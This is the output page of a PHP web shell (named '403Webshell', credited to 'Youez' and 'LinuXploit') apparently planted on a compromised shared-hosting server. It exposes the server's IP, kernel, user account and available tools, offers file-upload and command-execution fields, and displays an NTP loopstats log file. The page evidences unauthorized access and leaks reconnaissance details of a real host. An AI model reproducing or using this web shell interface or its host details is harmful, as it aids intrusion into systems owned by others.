403Webshell
Server IP : 162.241.24.140  /  Your IP : 216.73.217.86
Web Server : Apache
System : Linux box5876.bluehost.com 5.14.0-687.12.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Jun 7 14:39:27 EDT 2026 x86_64
User : ahfcompk ( 3063)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/ntpstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/ntpstats/loopstats.20230725
60150 365.278 0.000195583 -45.918 0.000128636 0.010736 10
60150 1410.232 0.000064863 -45.918 0.000128898 0.010043 10
60150 2486.239 0.000182937 -45.917 0.000127595 0.009398 10
60150 3510.244 0.000001684 -45.917 0.000135470 0.008791 10
60150 5569.238 0.000010998 -45.916 0.000126763 0.008239 10
60150 7669.261 -0.000007328 -45.917 0.000118753 0.007714 10
60150 9778.272 0.000065943 -45.909 0.000114064 0.007796 10
60150 9919.221 0.000065792 -45.909 0.000106697 0.007292 10
60150 10960.252 0.000064788 -45.908 0.000099807 0.006822 10
60150 12008.239 0.000055285 -45.908 0.000093421 0.006382 10
60150 12971.224 -0.000083560 -45.908 0.000100232 0.005970 10
60150 15089.241 -0.000078734 -45.918 0.000093774 0.006594 10
60150 16131.233 -0.000035076 -45.918 0.000089065 0.006169 10
60150 18194.221 0.000045327 -45.913 0.000088029 0.006129 10
60150 19272.225 0.000002247 -45.913 0.000083740 0.005733 10
60150 20331.229 0.000025449 -45.912 0.000078760 0.005363 10
60150 21363.221 -0.000077833 -45.913 0.000082227 0.005018 10
60150 23447.259 0.000035590 -45.908 0.000086742 0.004961 10
60150 25542.254 0.000037176 -45.904 0.000081142 0.004933 10
60150 25709.241 0.000061077 -45.903 0.000076370 0.004614 10
60150 26748.260 -0.000111580 -45.904 0.000093967 0.004319 10
60150 28654.247 -0.000255172 -45.906 0.000101506 0.004090 10
60150 30775.268 -0.000308149 -45.944 0.000096780 0.014227 10
60150 31841.237 -0.000315665 -45.946 0.000090568 0.013315 10
60150 32875.223 -0.000222887 -45.947 0.000090847 0.012459 10
60150 35026.228 -0.000116589 -45.961 0.000092919 0.012729 10
60150 35216.222 -0.000005246 -45.961 0.000095417 0.011907 10
60150 36288.260 -0.000113290 -45.962 0.000097085 0.011139 10
60150 37134.231 -0.000117377 -45.962 0.000090826 0.010421 10
60150 39244.226 0.000073320 -45.953 0.000108462 0.010283 10
60150 40331.224 0.000094660 -45.952 0.000101737 0.009620 10
60150 42432.227 0.000110862 -45.938 0.000095338 0.010279 10
60150 44555.248 0.000144786 -45.920 0.000089984 0.011570 10
60150 45709.261 0.000168647 -45.919 0.000084594 0.010826 10
60150 46610.263 0.000009835 -45.919 0.000097027 0.010127 10
60150 48712.257 -0.000251379 -45.951 0.000129486 0.014722 10
60150 49760.234 -0.000349160 -45.952 0.000125961 0.013780 10
60150 51834.225 -0.000333021 -45.995 0.000117963 0.019857 10
60150 52910.263 -0.000292132 -45.996 0.000111288 0.018579 10
60150 53966.238 -0.000172407 -45.997 0.000112377 0.017381 10
60150 54167.237 -0.000006522 -45.997 0.000120373 0.016259 10
60150 56303.236 -0.000023326 -46.000 0.000112756 0.015243 10
60150 58200.257 -0.000161422 -46.001 0.000116226 0.014265 10
60150 59389.262 0.000094862 -46.001 0.000141528 0.013344 10
60150 61487.261 0.000246196 -45.969 0.000142791 0.016670 10
60150 62436.248 0.000741390 -45.967 0.000220210 0.015621 10
60150 64542.255 0.000756501 -45.871 0.000206057 0.036866 10
60150 65582.279 0.000508493 -45.869 0.000211756 0.034492 10
60150 67657.249 0.000126067 -45.853 0.000239826 0.032767 10
60150 69805.238 -0.000043355 -45.858 0.000232196 0.030710 10
60150 70848.258 -0.000060525 -45.859 0.000217285 0.028726 10
60150 71913.247 -0.000042638 -45.859 0.000203350 0.026871 10
60150 72963.282 0.000234107 -45.858 0.000213906 0.025138 10
60150 75041.226 0.000242765 -45.827 0.000200114 0.025955 10
60150 77195.248 0.000017729 -45.825 0.000203396 0.024291 10
60150 78228.230 0.000009858 -45.824 0.000190280 0.022723 10
60150 79269.222 -0.000032208 -45.825 0.000178611 0.021255 10
60150 80325.228 -0.000047187 -45.825 0.000167159 0.019882 10
60150 82456.236 -0.000029452 -45.828 0.000156489 0.018644 10
60150 84601.274 -0.000132758 -45.845 0.000150870 0.018394 10

Youez - 2016 - github.com/yon3zu
LinuXploit